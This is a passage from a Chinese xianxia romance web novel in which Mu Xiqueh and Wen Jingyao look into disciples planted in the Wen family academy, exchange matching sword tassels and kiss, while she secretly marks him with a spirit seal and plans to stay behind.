“盈虚,我不能久留,乾坤袋里的东西你看看能用什么只管用上,我会尽快再来一次,待会儿他脸色好转后,你将缚仙索重新捆上。” 师盈虚忙追出去:“欸,你去哪里?” 慕夕阙头也不回,跳上房檐直接瞬移离开:“回闻家主宅。” 师盈虚站在院里,仰头望着早已无人的房檐,叹了一口气,自言自语说道:“你也是真忙,干什么总给自己找那么多事情干,多累啊?” 她还记得慕夕阙的话,转身推门进屋,捡起搁在桌上的缚仙索,刚一转身,瞧见方才还躺在榻上半死不活的人竟然坐了起来。 徐无咎抬眸,瞧见大惊的师盈虚,笑了笑:“别慌,我不跑。” 师盈虚忙跑过去,一个抬手将缚仙索重新捆上,狠狠瞪他一眼:“你何时醒的!” “慕二小姐走时。”徐无咎耸耸肩,任由师盈虚将缚仙索给他上三圈下三圈捆得结结实实。 那就是方醒没多久,师盈虚捆好,恶狠狠抬眸:“我告诉你,你若是敢乱跑连累我们,我定连夜剐了你!” 她就只会威胁人,徐无咎被关在这里的两日里也看了出来,师盈虚是个纸老虎。 他点点头,本就没打算要跑,看向榻边属于慕家的乾坤袋,眸色渐深。 “……原来她瞒着闻家啊。” 他声音太低,师盈虚没听清,皱眉问:“什么?” 徐无咎抬眸,笑盈盈道:“没事。”- 同心玉牌亮了几瞬,慕夕阙一直没接,玉牌过了会儿自己熄灭,接着闻惊遥便没有再拨来。 慕夕阙一路瞬移,没走城门,找了个没有闻家弟子把守的小路,她拿着玉牌可以全须全尾通过闻家玉灵,从闻家主宅后山绕进去,也多亏了画墨阁后便是一座山,她只需要绕点路便能躲开守卫。 跳进画墨阁时已经巳时,慕夕阙赶忙换衣,她躺在榻上,等了一小会儿,画墨阁的门被人敲了敲。 片刻后,门被打开。 慕夕阙站在门内,尚带了些困意:“你怎么来了?” 闻惊遥似乎一夜没睡,只换了身衣裳,他单手拎着个食盒,垂眸看她,问道:“刚睡醒吗?” “嗯,这两日太累了些,有些困了。”慕夕阙还穿着睡觉时的寝衣,只在外披了件单薄的外衫,侧脸尚有些锦枕印出的红痕,柔顺的头发略有些凌乱,闻言转身往回走,顺便摆了摆手招呼他。 “进来吧。” 闻惊遥默了瞬,抬步入门,顺带关上画墨阁的合页大门,跟着她往里走。 慕夕阙并未回* 寝殿,而是朝寝殿后的凉亭走去,闻惊遥便目不斜视跟上去,等他上到凉亭二层,慕夕阙早已在竹榻上斜斜坐下。 那榻边支了张小桌,慕夕阙单手托腮,一条胳膊撑在桌旁,寝衣宽大的衣摆便顺着下滑,露出截纤细的手腕,腕间仍挂了个青色的玉镯。 她这衣裳领口也大,脖颈间戴了条悬挂了蓝青璎珞的项链。 冷不丁瞧见,闻惊遥反应过来,错开目光,将食盒搁在桌上,背过身去:“应是我来早了,夕阙,你若还困便再歇会儿。” 慕夕阙掀开食盒,里头摆了几个碟子,有一碗加了红枣的清粥,还有些包子。 以及一袋糖蒸板栗,应是他一大早便去城东买的。 “你来给我送膳?”慕夕阙拿起勺子,舀了一口粥,尝了尝后说道,“你自己做的吧,做粥放糖,这是你的习惯。” 闻惊遥没回头,沉声说道:“你这两日都没怎么用膳,闻家饮食清淡,你爱酸辣,爱甜食,我怕你吃不惯,包子是荠菜馅儿的。” 他顿了顿,又说:“放了些山椒。” 慕夕阙已经将碟子都摆了出来,一手拿着包子咬了口,敲了敲木桌:“你用膳了吗,来尝尝。” 不等闻惊遥说话,她又开口:“我自己又吃不完,你们闻家不是最忌浪费吗?” 闻惊遥顿了会儿。 慕夕阙叹了口气,将外衫穿好,又敲敲桌面:“我穿好衣裳了,你转过来吧,再这么磨叽我要生气了。” 闻惊遥动了动,末了转身,应了声:“嗯,好。” 他并未坐在榻上,而是坐在小桌另一侧的木椅上,刚坐好,慕夕阙递了个包子过来。 “……多谢。”闻惊遥接过,咬了口。 慕夕阙边吃自己的饭边看他用膳,闻惊遥用餐时格外赏心悦目,一举一动都透着端正雅方,如果那张脸没有越来越红,她真觉得他在老实用膳。 “别吃了别吃了。”慕夕阙忽然笑出声,在他艰难吃完一个包子后,将茶水和糕点递过去,“你还是吃糕点吧,不能吃辣我们就别吃,看你勉强的。” 闻惊遥饮了杯茶后压下那股火气,垂眸看了眼那一碟包子,又抬眸看向慕夕阙,说道:“夕阙,你不必迁就我,你想吃什么都可以。” 慕夕阙眉梢微扬,又拿了个包子,冲他扬了扬,说道:“你放心好了,我慕二从不委屈自己迁就任何人。” 她的眼眸弯起,笑盈盈的模样仍旧张扬肆意,闻惊遥看着她,恍惚间又想起闻承禺叮嘱他的话。 慕夕阙确实比过去性子沉稳了许多,虽然她平日瞧着仍旧高傲且脾气大,有时不太正经,但比过去的慕夕阙要收敛许多,这是她自己都无意识地在收敛性子。 闻惊遥垂眸,咬了口糕点,他尝不出好歹,口腹之欲也几近于无,能吃的东西他都会吃完。 听着耳边她用膳的声响,他也默默吃完一个糕点,随后用锦帕擦了擦手,抬眸看她。 “夕阙,你做自己就好,不必为任何人任何事委屈自己做出改变。” 慕夕阙顿住,停滞片刻,抬眸看过去,笑了下说道:“我只是心智成熟了些而已,没委屈自己。” 毕竟人总得长大,朝蕴过去总想磨砺她,如今她不用想办法磨砺女儿的性子了,慕夕阙已经在那百年里成长到可以独当一面了。 脾气收敛,性子沉稳,做事谨慎,且心计深沉。 慕夕阙垂眸,接着用膳,这碗粥尚带了热意,炖得软糯糯的,他又放了糖和红枣增甜补血,倒是很合她的胃口。 闻惊遥在清心观里都是自己做饭,从小就练了一手好厨艺。 慕夕阙慢条斯理用膳,闻惊遥便不再说话,也不吃东西,只看着她吃,等她用完膳,他将干净的锦帕递过去。 苍青色的锦帕应是他随身之物,还带了皂角的清香,慕夕阙接过,擦了擦嘴后顺手叠好放在桌上,抬眸看他。 “你应是没睡吧,不止在做膳,还干了别的?” 闻惊遥颔首:“嗯,我去拿了闻家近些月份的账簿和弟子名录。” 慕夕阙问道:“在找是否亏空缺损,以及近些日子入门的弟子都有谁?” 闻惊遥沉声道:“嗯,如果我猜的没错,被策反的应当不止闻家长老,兴许塞进来的还有年轻弟子。” “跟我猜的一样,鹤阶也不是蠢的,只靠几个长老也难以行事,定是要让这些长老们往你们闻家塞人。”慕夕阙点点头,伸出手,“我帮你也看些吧,瞧你累的。” 闻惊遥劝道:“夕阙,不必你来——” “你怎么这么磨叽?”慕夕阙皱眉,又摆了摆手,“拿来,早做完早收网。” “……嗯。”闻惊遥妥协,从乾坤袋取出十几个册子放在桌上。 慕夕阙随手拿了一本,盯着目不转睛地看。 闻惊遥也拿了个册子,他熟悉这些流程,看得很快,但他都翻了几页,也没听到慕夕阙那边有动静。 少年皱皱眉,见慕夕阙盯着一行字眼也不眨,问道:“有问题吗?” “问题大了。”慕夕阙合上册子,冷脸坐起来,直接扔了过去,“看不懂算学,你看账簿,我看名册。” 闻惊遥唇瓣翕动,张了张唇,最后沉默,接过她扔来的册子,递过去几本名册。 他低头不说话,接着看自己的账簿。 慕夕阙余光瞥过去,咬了咬牙。 他刚刚明显笑了下! 慕夕阙白他一眼,翻身背对他,掀开近些时日的弟子名录,一行行看着那些弟子的生平,本来目无波澜,一目十行。 半刻钟后,余光停在某个名字上。 慕夕阙眯了眯眼,坐起身。 闻惊遥抬头看她:“夕阙,怎么了,看不懂吗?” 慕夕阙:“……” 慕夕阙一个眼刀甩过去:“我又不是不识字,怎么会连个名录都看不懂?” 闻惊遥反应过来,他关心的话在此刻有些不合适:“抱歉,是我失言。” 慕夕阙没计较这些,将名录摊开搁在桌上:“你们闻家招弟子是不是要求身世清白,年岁在十二以下?” 闻惊遥皱眉:“是。” 他顺着她指的那行字看去,将那一页看完,面色渐渐冷下,随后,少年抬眸,与慕夕阙对视。 慕夕阙冲他挑挑眉,手指屈起,指节在名录上敲了敲。 “怎么样,闻大少爷,一起去查查吧。” 一个弟子名录,竟让她找到了个老熟人。 作者有话说:小慕看到算学:(抬手扶额)(闭眼)(摆手)晕字,看不懂,快拿走! 第28章 第 28 章 燕尔 说是熟人, 也不算是。 但慕夕阙从随泱嘴里听过这个人的名字。 那是上辈子的事情了,彼时慕夕阙修为精进不少,已至化神满境, 两人在决定重返十三州的前一夜,曾坐在海滩上, 望着远处浩浩荡荡的海域, 吹着冷飕飕的海风,谈彼此从未说过的话。 随泱问慕夕阙:“五年没回去了,不想你们淞溪吗, 回去若不拐去看看?” 慕夕阙冷着脸,她那时候的性子已经沉稳不少,话也少了许多, 看着浩荡海域, 冷声道:“不了, 我要先去寻我阿姐。” 他们之所以匆匆返回十三州, 也是因着刚得到消息, 慕家长女未死,被鹤阶羁押。 随泱笑了笑:“忘了,你姐还被关在鹤阶呢。” 见慕夕阙不说话, 随泱叹了口气,递过去一个烤番薯:“你才三十二岁, 我都快百岁了, 论阅历我比你多多了,听我一句劝, 小小年纪别老板着脸。” 慕夕阙毫不客气接过,撕开皮咬了一口,烤好的番薯入口软糯, 她仍看着海域,问道:“那你呢,回去后先做什么,直接去鹤阶?” 随泱说:“我得先找个人。” “谁啊。” “应祈。”随泱侧过头,仍是那副不正经的笑,但往日温和慵懒的眸底,如今似乎凝结了层单薄森寒的霜意。 “我得将他抽筋扒骨。” 那是慕夕阙第一次在随泱眼中瞧见这般明显的恨意。 可最后,随泱也没找到应祈。 在得知长姐尸身被鹤阶烧了后,慕夕阙气到已然失了理智,提刀独闯鹤阶,被围杀将死之时,随泱出现,替她撕开了一条路,将自己的命丢在了那里。 随泱是因她而死,他的死彻底摧毁了她最后一丝年轻气盛,磨平了慕二小姐的锋芒,让她从此性格大变,几月都不说一句话,睁眼就是复仇,复仇,复仇。 她只冲动了两次,一次害自己险些死去只能跳崖,一次害了自己的挚友。 这条路太长了,山高路陡,也太过孤寒,慕夕阙不敢回头,只有梦中的一座座衣冠似雪,警示着她不能倒下 往事已休。 慕夕阙走在闻惊遥身侧,收敛心绪,随他一起进入闻家学宫。 在这里的弟子基本都是新入门的外门弟子,不属于八大堂直系弟子,要进入八大堂,就得靠修行取胜,每年的闻家论道大会便是这些年轻弟子向上攀爬的阶梯。 即使是新入门的年轻弟子,岁数最多也就十二岁,但大多数人也都识得闻惊遥,作为闻家少主,他时常要来为这些年轻弟子讲学教习。 “见过少主,慕二小姐。” 弟子们齐齐行礼,虽未见过慕夕阙,但知晓自家少主前些时日刚办了订婚宴,闻少主性子独,素来不与人亲近,更别提女子了,他能与一女子挨得这般近,这女子的身份便一目了然。 闻惊遥颔首:“不必多礼。” 今日他并不是来讲学的,而是在屏风后坐下,弟子们便明白,今日是学宫一月一小测的日子,少主这是要考察他们的功课了,不由得提了几分心。 年轻弟子一日五门课,算学、律学、礼学、文学、以及各自修行的道法。 擅刀者,擅剑者,擅符篆阵术者,闻家主修剑道,但也有旁的门支。 今日闻惊遥带慕夕阙来的是主教符篆术的学宫,两人坐在屏风后,这屏风上有灵术,只能从里往外看,外头的弟子瞧不见他们二人。 “应祈在这个学宫?”趁弟子们还没到齐,慕夕阙问道。 “嗯。”闻惊遥应道,“应祈入的是阵术一道,东浔主城教习阵术的学宫只有这里。” 慕夕阙点点头,从宽袖中取出那卷弟子名录,书册的一页被折起,从这一页开始,后面每隔几页都会折,证明有问题的不少。 ——应姓,名祈,荆州人士,奉秋六百八十五年生,父早亡,由母独自抚育长大,其母于奉秋六百九十九年离世。 慕夕阙道:“修士入道应趁早,你们闻家招收弟子在十二以下,可应祈于奉秋六百八十五年出生,今年已十五,按理不能入闻家学宫修行,只能被长老们破例收为八大堂的直系弟子。” 闻惊遥颔首:“是,应祈是闻家第三堂长老闻迟亲收的弟子,因闻迟长老手下弟子颇多,且应祈入道晚,根基未立,便送到弟子堂入学宫先修行一段时日,筑基入道。” 慕夕阙百无聊赖翻着弟子名录,姿态闲散,状似无聊询问:“他姓应啊,和应逐有关系吗?” 闻惊遥蹙眉,想了想,说道:“千机宗主支确实姓应,但十三州姓应的人也不少,荆州一带确有应姓,不能凭借一个姓氏判断他们是否有关系。” 慕夕阙点点头:“你说得对,不过闻迟就是昨日桃花阁内诛杀应逐的那位闻家长老吧?” “嗯。”闻惊遥回道,“他有问题。” 那他送进来的人也八成有问题。 两个人坐了会儿,慕夕阙将名录又看了一遍,她对闻家长老送进来的这些有问题的弟子并不怎么感兴趣,闻家太平与否也并不在她考量范围内,平日也只是做做样子,毕竟完全漠视不管也定会惹闻家人起疑心。 但应祈既然出现,那她便不得不掺和了。 过了大约一刻钟,随着一声钟响,尚还在外的弟子们皆都立刻回屋就坐,紧接着,一个穿着模样似学宫先生的人走进来。 弟子们起身:“见过先生。” 先生站至高处,说道:“请坐。” 弟子们便又坐下,随后一位稍显年长的弟子摊开名录,一一点名,确认是否有人旷课或迟到。 慕夕阙单手托腮百无聊赖看着,歪着脑袋坐无坐姿,盯着屏风后乌泱泱坐满了一整个大堂的弟子们,有男有女,年岁都不大。 直到唤到一个名字。 “应祈。” 一道略显年轻的声响回道:“到。” 慕夕阙和闻惊遥同时看去,隔着一闪屏风,应祈又来得晚,并不知屏风后还有两人。 他人缘似乎也不好,有些知道少主今日来旁听的弟子会和亲近的弟子们提醒一番,让注意仪态,一会儿打起精神。 但无人提醒应祈,他回应了点名后便又坐了回去,低着头从抽屉里抽出了个……话本。 慕夕阙微微眯眼,忽然笑了声,问道:“你们闻家弟子上课还能看话本?” 闻惊遥冷声道:“不能,弟子入了学宫便需心无旁骛,潜精研思,违者第一次记过,抄写学宫律规;第二次停课十五日,关禁闭;若犯第三次,闻家便会革去其弟子玉碟。” 慕夕阙侧身看了眼闻惊遥,果然瞧见他皱紧了眉,闻少主从小规规矩矩,怕是也没想到有人敢这般胆大妄为,估摸着他来教课也没遇到过这种情况。 若非他们如今还得静观其变,怕是他早已出去当场没收应祈的话本,将他拎出去抄写门规了。 慕夕阙了然,收回目光,好整以暇地看着应祈。 闻家于十三州威望颇重,多少家族挤破了脑袋也想送孩子来闻家修习,凡是能进来的都已层层筛选,生怕触犯门规被体罚甚至赶出宗门,这应祈却毫不在乎般。 慕夕阙看着他,目不转睛,心里却在琢磨随泱的事。 如果她猜得都没错,随泱之所以听从鹤阶的命令,恐怕是亲弟被其掌控,他这个人重情,自是无法抛下弟弟。 而前世随泱不仅和鹤阶有深仇大恨,还和应祈有仇,一个十五岁的孩子,若非与之有血海深仇,寻常恩怨,随泱脾气也好,能忍就忍了,如何会惹到他? 正想着,兴许是她看得太过专注,闻惊遥想不注意也难。 “夕阙?” 慕夕阙眨了眨眼,下一秒便扯出笑,熟络转过来看他:“嗯?” 闻惊遥看了眼屏风外的应祈:“你认识他吗?” “那倒也不是,只是之前一直觉得你们闻家都是些小古板,倒是第一次见这般无拘无束的弟子。”慕夕阙笑了笑,眸光狡黠,“还是闻大少爷给我的刻板印象太深了。” 闻惊遥看着她,没说话,他能听出来她在逗他。 慕夕阙没为难他,别过头又道:“好了好了,他们要开始小测了。” 所谓小测,阵修的小测自然是符篆阵术,由学宫先生出题,每个抽到对应题目的弟子,便需按照字条上的要求画出对应的符篆或阵法。 轮到应祈的时候,他懒洋洋站起身。 “应祈,九宫连星阵。” 慕夕阙凑到闻惊遥身边:“这是什么阵呀,难吗?” 她离得太近,闻惊遥僵了下,垂眸看她,慕夕阙那双眼专注看他,似乎完全不懂,本着求知的心来问的。 闻惊遥唇瓣翕动,低声道:“一个杀阵,于新入门的弟子来说略有些艰难。” “哦,这样啊。”慕夕阙点点头,又坐了回去,专心看屏风外的应祈测试。 空气中那种馥郁的花香也倏然远去,闻惊遥方才乱了的心跳逐渐规律,看她坐得那般远,又莫名腾起一种令他无措的不舍。 他看着她的侧脸,抿了抿唇,末了又坐直。 应祈已经画好符篆,两指并拢燃出灵力,符篆燃烧,周遭罡风大作,厉风卷起他的衣袍,于此同时,他正上方的虚空中陡然呈现夜幕,而夜幕中,九星连转,利刃迸发。 学宫先生一挥袖子,将阵法中投掷来的利刃尽数挥散。 先生方才还冷淡的脸如今竟涨红,看着应祈,语速极快:“你、你天赋如此之好,阵术绝妙,可是先前修行过?” 应祈下颌微扬,俊秀的脸上也略显出些高傲,拱手做出谦卑模样:“在下并未规律修习过,只是家中有一本阵书,幼时便看,到如今能熟背。” “这等天赋何须来我这丙等学舍修行,恐耽误你啊。”学宫先生一把拽住他的手,恳声道,“这样,我为你写封亲笔信,你拿着信,可直入甲等学舍!” 周遭弟子发出低呼声,瞧向应祈的目光也并不似方才那般疏离了,夹杂艳羡。 应祈似大喜,忙拱手道谢:“多谢先生!” 慕夕阙的脑袋歪向闻惊遥那侧,小声问:“甲等丙等什么意思?” 闻惊遥说道:“弟子们境界、天赋不同,先生教习的内容和速度便也不同,若都安置在同一个学舍内,有人能听懂,有人便听不懂,因此在入学前,几位先生们会对每一个学生进行测试,区分甲乙丙学舍,若有表现出众者,可越级向上。” 慕夕阙了然点头:“懂了,那去甲等有何好处吗?” “有。”闻惊遥面色冷淡,盯着应祈,“甲等学舍的弟子们皆都算同龄中的佼佼者,他结识的人也自然都是闻家的精英弟子们。” 慕夕阙眼眸微眯:“你怀疑他背后的人想让他对那些弟子下手?” 闻惊遥沉声道:“夕阙,无论是否是我多疑,应祈方才那一手阵术分明是修行已久,绝非一个毫无根基的弟子可以做到的。” 慕夕阙侧首看去,应祈似乎惊喜极了,身旁拥了不少弟子,皆都道喜送别。 年轻弟子们尚未入世,未经艰辛,对修行一道心驰神往,或许是向往修士这身份带来的荣耀,又或许是心存大道渴望除邪佑民。 无论哪一种,这些弟子的心最是纯粹,也极易被骗,不知身旁的同门是挚友,还是豺狼- 和闻惊遥走了几个学堂,将名录上由八大堂一些长老亲自安插进来的弟子皆寻访了个遍,两个人差不多也明白了,这些弟子修为皆都不弱,进入学宫目的不纯。 闻惊遥照例先送她回了画墨阁,他并未进门,站在门外道:“夕阙,我尚需查些事情,天色将黑,你早些休息。” “等一下。”趁他刚要转身离开,慕夕阙动作很快,拽住他的衣袖。 闻惊遥愣了下,站定垂眸看她:“怎么了?” 慕夕阙双手背在身后,仰头看他,笑着说道:“你闭上眼,我送你个礼物。” “……送我礼物?”闻惊遥难免怔愣,慕夕阙过去只每年他生辰时会送上贺礼,那些东西大多都是些昂贵之物,他虽用不上,却也都用心保存着。 可他的十七岁生辰半年前便过了,如今这是送什么礼? “你闭眼啊,我送你礼物呢。”见他傻愣着,慕夕阙嗔了他一句,微微眯眼似要生气。 闻惊遥只能压下心头那点隐约的雀跃,唇角微弯,应了声:“好。” 他毫不设防,在她面前闭上眼。 看不见,其他感官便敏锐起来,他听到耳畔窸窣的声音,她似乎在拿礼物,接着一股花香扑入怀里。 闻惊遥垂下的手悄然攥紧,喉结滚动,剑柄被她捞起,接着玉饰碰撞的叮铃声传入耳畔,他不知她在做什么,可却知道,她如今在他怀里。 她略微低头,金钗高束的发髻清扫在他锁骨处,挠得人心也痒痒的。 片刻后,慕夕阙后退一步,带了笑意的声音响起:“好了,睁眼吧。” 闻惊遥长睫微颤,睁开眼,先撞入他眼睛中的,是一袭红衣的她,正负手笑着看他。 他只觉得喉口梗塞,生怕自己失态,忙低头,他那柄苍青色的剑,有人挂上了一个坠了水滴璎珞的玉坠子。 那玉坠子是碧青色,跟闻家宗服相互映衬,玉质温润却坚硬,便是用利刃都无法劈碎。 “夕阙?”闻惊遥单手执起玉牌,抬眸看她。 慕夕阙眼眸弯弯,捞起自己剑上的另一枚玉坠扬了扬。 “我也有呢,是红色的,这个玉呢在我们淞溪叫做燕尔玉,是给新人的,祝贺别人燕尔新婚的,我做成了一对剑穗,你我一人一个。” 闻惊遥并不傻,知道这是什么意思,他看着她,觉得这微凉的玉坠都烫手起来,明明是收礼的,竟比送她礼物之时还紧张。 慕夕阙笑出声来,似乎被他看似淡然、实则无措的模样逗住,她上前一步,在他还没反应过来时,踮脚亲上他的唇角,轻轻啄了口。 她贴着他的唇,吐气如兰:“附赠的小礼物。” 闻惊遥别过头,闭了闭眼,握着剑柄的手攥紧。 慕夕阙站着不动,负手看他,问道:“你不回个礼?” 片刻后,少年抬手捧住她的脸,上前一步逼至她面前,他俯身看她,素来清淡似山雪的目光在她脸上描摹,看她似远黛的眉,纤长的睫毛和轮廓完美的眼,再往下是挺拔小巧的鼻尖,最后,落至她未上口脂的唇。 闻惊遥道:“回礼。” 他抬手拢入她浓密的青丝中,啄啄她柔软的唇,见她闷闷在笑,抬手搂住他的脖颈,他的唇角也弯了些,柔柔密密,又略显粘人地去亲吻她的唇瓣。 闻惊遥亲人的时候很专注,如今两个人都没闭眼,他亲一口,慕夕阙便咬他一口,像个幼稚的小朋友一般互啄。 过了会儿,慕夕阙被他啄得直笑,启开唇齿,轻轻在他唇缝间舔了下。 双目相对,两个人的唇还贴着,慕夕阙眸光挑衅,心下还没数几个数,他用力且密的吻便如暴雨般落下,挤开她的齿关。 慕夕阙搂住他脖颈的手用力,将他拽进门内,她单手挥出灵力,关上画墨阁的大门,腰身被人托了一下,闻惊遥单手抱起她,将她安放在院里的石桌上。 浓密的吻中,彼此的吞咽声虽小,却足以听清。 闻惊遥于这混乱且柔情万分的亲吻中,觉察到耳后一凉,他睁开眼看着她。 慕夕阙的唇瓣微肿,主动吮吻他的唇瓣,贴着唇说:“无事,是我腕间的玉镯。” 少年看了她片刻,并未回答,随后闭上眼,一手箍着她的腰身,一手托在她的脸侧,加深这个看似旖旎的吻。 慕夕阙抬手,双手在他颈后交叠,挡住隐入他耳根处的一道金色灵印- 闻惊遥走后,慕夕阙回到屋内,铜镜内倒映出的女子脸颊微红,她抬手触碰唇瓣,蕴出灵力消肿。 他好歹还有些理智,虽凶了点,却时刻注意着力道,并未咬破她的唇,慕夕阙只需要用灵力恢复一会儿便可。 独自在屋内坐了将近一个时辰,戌时一刻,有人翻进画墨阁内,慕夕阙听到轻巧的脚步声,她动也不动。 随后房门被敲响,有人轻声喊:“小夕,是我。” 慕夕阙道:“门没关。” 蔺九尘推开门,整个寝殿颇大,她独身坐在外厅的木桌旁,穿戴整齐,像是刚从外面回来般,屋内只点了一盏灯,显得有些昏暗。 他反手关上门,在慕夕阙对面坐下,一盏茶被推至他面前。 “喝点茶,刚煮的。” 这时候还有功夫喝茶,蔺九尘没好气道:“着急忙慌喊我过来就是来喝杯茶?” 慕夕阙弯弯眼眸,略显俏皮地说:“那自然有需要师兄帮忙的事呀。” 蔺九尘蹙眉,坐远了些:“你打什么鬼点子。” 慕夕阙白他一眼,说道:“尽快让慕家弟子们启程回淞溪,闻家过段时日恐要生事端,变故太多,徐无咎身上还有毒,在东浔地界无法为他医治。” 蔺九尘严肃了几分,看着她道:“徐无咎在何处?” “如今在师家暗桩,你放心,盈虚信得过。”慕夕阙说道,见蔺九尘脸色沉重,又说道,“你们后日便准备启程回淞溪,至于如何跟闻家说,就说我阿姐独身在家已久,以及慕家不能长时间无主。” “那徐无咎?” “他如今已经出了东浔主城,不能在城外接头,离闻家太近,人多容易生事,届时你们在某处停一阵,我想办法将徐无咎带过去。” 蔺九尘觉察出她话中的另一层意思,问道:“那你不走?” 慕夕阙放下茶,与他对视:“我得去救个人,顺带杀个人。” “谁?”蔺九尘眉头又皱了起来,“小夕,如今我们不能多管闲事,鹤阶恐盯着我们。” 知道他这般说也是担心,慕夕阙神情轻松,笑了笑,安抚道:“你放心,我已提前做好应对措施,定不会出事。” “可是——” “师兄,你便别说了。”见他还要劝,慕夕阙打断他,她错开目光,望向桌上唯一点燃的烛火,摇晃的火光扫在她的侧脸上,半明半暗。 蔺九尘不知道她要救谁,也不知她要杀谁,或许他作为师兄应该问清楚,可同样作为师兄,他对慕夕阙有种无条件的信任,相信她的聪慧以及对慕家的心。 看了她良久,蔺九尘轻轻叹气,说道:“你与闻惊遥形影不离,需得防着他些,你若有些动作,他是最易觉察的。” 慕夕阙自然也知晓,闻惊遥机敏聪慧,且行事谨慎,他早便怀疑过她,因此这一次,她便必须提前做防备,以防再遇到上次那般被他堵个正着的情况。 “我有防备。” 蔺九尘看着她,两人隔着桌上的烛火对视。 慕夕阙对他承诺:“师兄,你放心,我决计不会让他来坏我的事。” 她要杀的人一定得杀,要救的人,也必须救下。 作者有话说:小慕干正事喽[加油] 小闻被骗+1[抱拳] 今天更新晚了会儿,发个小红包[加油] 第29章 第 29 章 “我不会对你生气的。”…… 主宅议事堂坐满了人。 朝蕴抿了口茶, 余光看向坐在她斜对面的闻惊遥,这两日商议的事不少,闻惊遥也没歇息过多久。 “闻家事务繁忙, 慕家自当鼎力相助,但此次我慕家只带了十二名弟子, 且我长女在家已久, 她身子骨弱,我放心不下。” 朝蕴说到这里,放下茶, 看向高台的闻承禺:“淞溪慕家不能无主,恐生事端,明日我会带着慕家弟子回淞溪, 小夕留下来帮忙。” 这是昨晚蔺九尘告知她的话, 他说是慕夕阙的意思, 不知道慕夕阙要干什么, 但她既然这般叮嘱了, 朝蕴便也这般说。 闻承禺看向她,却并无言。 庄漪禾叹了口气,说道:“慕大小姐还在琼筵山呢, 十二辰也在慕家,淞溪不能长时间无主, 朝夫人便先回吧, 小夕近来也忙碌久了,不若让小夕一起回去。” 朝蕴歉疚一笑:“我这边确实抽不出时间了, 小夕近来倒是不忙,何况你们知晓,她和她姐不和, 回去免得吵架,既然惊遥这边忙碌,那便让小夕也留下来帮忙。” 她顿了顿,看向斜对面沉默的闻惊遥,笑着说道:“日后你们二人是道侣,要过日子的,若淞溪有事,惊遥定是要来帮忙的,如今闻家繁忙,小夕留下来也是应当的。” 这话说得圆滑合理,情分也都给了,闻家长老们面面相觑,皆都无言。 庄漪禾看向闻承禺,迟疑道:“千机宗怕是要来找茬,何况杀害时烨的凶手还未抓到,且鹤阶旷悬长老死于东浔城外,闻家近来处境怕是不好,不若小夕留下帮忙吧。” 闻承禺却并未回答庄漪禾,而是转而看向闻惊遥:“你的意思呢?” 方才便没动过的闻惊遥抬眸,毫不躲避与他直视,回道:“既是夕阙的意思,便留下来吧。” 得了他的回答,闻承禺淡淡移开视线,看着众人说道:“那就这样办,慕二小姐留下来,闻家派些弟子护送淞溪慕家离开东浔主城。” 朝蕴浅笑颔首,余光和蔺九尘对视,两人默不动声错开目光- 闻惊遥今日似乎在忙,只正午匆匆来见了她一面,送了膳食后便离开了。 慕夕阙也乐得自在,躺在画墨阁里好好睡了半日,这是她这几日罕见的一场好觉,醒来后,霞光已经爬上了天际。 她起身,对着铜镜换了个药,身上大大小小的伤加起来七八道,用慕家重金买来的伤药疗愈后,很快便止住血,已经隐隐要结痂。 她刚换好药,闻惊遥便来了。 闻惊遥来她这里,永远都会敲门,听见前院门响,慕夕阙换好衣裳去开了门。 他站在门外,身后便是绮丽余霞,愣是将他周身的霜寒和不易近人磨平了些,慕夕阙觉得,他今日瞧着温和了许多。 “夕阙。” 慕夕阙倚靠着门栏:“忙完了?” “并未。”闻惊遥说道,“我方巡完街,买了些糕点回来。” 慕夕阙垂眸,果然见他手上拎着两个油皮纸袋,她转身往画墨阁走,坐* 在院里的石桌旁,敲了敲桌面:“放这里吧,今日天气不错,我们看看风景。” 那石桌还是半年前闻惊遥亲自打的,画墨阁前院太空旷,他便种了些花花草草,打了个石桌。 经昨日一事,如今瞧见这石桌还有些尴尬,他错开目光,将糕点搁置在桌上。 慕夕阙已经利落解开捆扎油皮袋的扎绳,糕点的甜腻香萦绕在周遭,闻惊遥在她身旁坐下,透过这丝缕的糕点香,还觉察出了些旁的气息。 “夕阙,你方上过药?” “嗯,你的伤怎么样了?”慕夕阙并不停顿,回应后捻了块糕点,咬下一口,软糯的米面顷刻化开。 “无碍,我已上过药。”闻惊遥说道,她在专心品尝糕点,他看着她的侧脸,“夕阙,今日朝家主说慕家明日返程,你不走?” 慕夕阙别过头,冲他弯弯眼眸:“不走啊,以后是一家人,我总不能临阵脱逃吧?” 闻惊遥纵使有千言万语的话要说,也被她这一句“一家人”给轻飘飘堵了回去,他垂眸倒茶,斟了杯热茶搁在她面前。 慕夕阙凑过来,冷不丁亲了口他的侧脸,笑着说道:“真贴心,小小回礼。” 闻惊遥别过头,耳根微红,闷闷应了声:“好。” 他觉得口渴,又给自己倒了杯茶一饮而尽,喝得太急又险些呛住,忙背过身咳了几声。 一只手按在他的脊背,轻轻替他顺气,慕夕阙语带笑意:“又害羞了,那我以后离你远些。” 她越说,闻惊遥越是难为情,也亲过几次了,在她面前却总是跟个毛头小子般不沉稳,他转过身握住她的手,薄唇微抿,修长的手与她十指相扣。 闻惊遥低眸,看着两人如玉的手交握在一起,低声说道:“不要离我太远,离我近些。” 慕夕阙凑过去,歪歪脑袋从侧面看他,瞧见闻少主纤长的睫毛抖了抖,她盯着他的眼睛,问道:“那离你多近才好,这样近吗,会不会被闻家打板子呀?” “夕阙,你总逗我。”闻惊遥抬眸,两人对视,“你离我多近都可以,但不要离我太远。” 慕夕阙又闷闷笑起来,肩膀抖动,发髻上的金钗流苏也随着摇晃,荡出昳丽的金光。 她的一只胳膊撑在桌上,单手托腮笑着看他:“你总说我爱逗你,那十三州那么多人,我怎么只逗你?” 闻惊遥也怪实诚,他不知道的事情便会问:“夕阙,为何?” 慕夕阙这次好似真的憋不住了,笑得眼尾都弯成条细线了,繁复的金饰叮铃作响,她边笑边说:“我逗别人,或许人家会生气,但闻少主不会生气。” 面前一阵风拂过,她坐直凑近他,两人的鼻尖几乎相抵,闻惊遥正身端坐,原先搭在膝上的双手猛地攥紧,心跳漏了一拍,呼吸中都是她的气息。 慕夕阙长睫半阖,垂眸看着他的唇,少年的唇形完美,闻惊遥生了一张脱尘的面容,好似那九重天上的仙君般矜贵冷傲,偏生在她面前,有了几分入尘的模样。 她啄了啄他的唇,轻声说道:“我倒真想看看,你生气是何模样,是否还能这般泰然自若?” 慕夕阙侧眸,飞快看了眼他耳根的灵印,那道只有她自己可以看清的灵印如今还在,那她便安心了。 与她相握的手紧了紧,慕夕阙回神,又看向闻惊遥浅若琉璃的瞳仁。 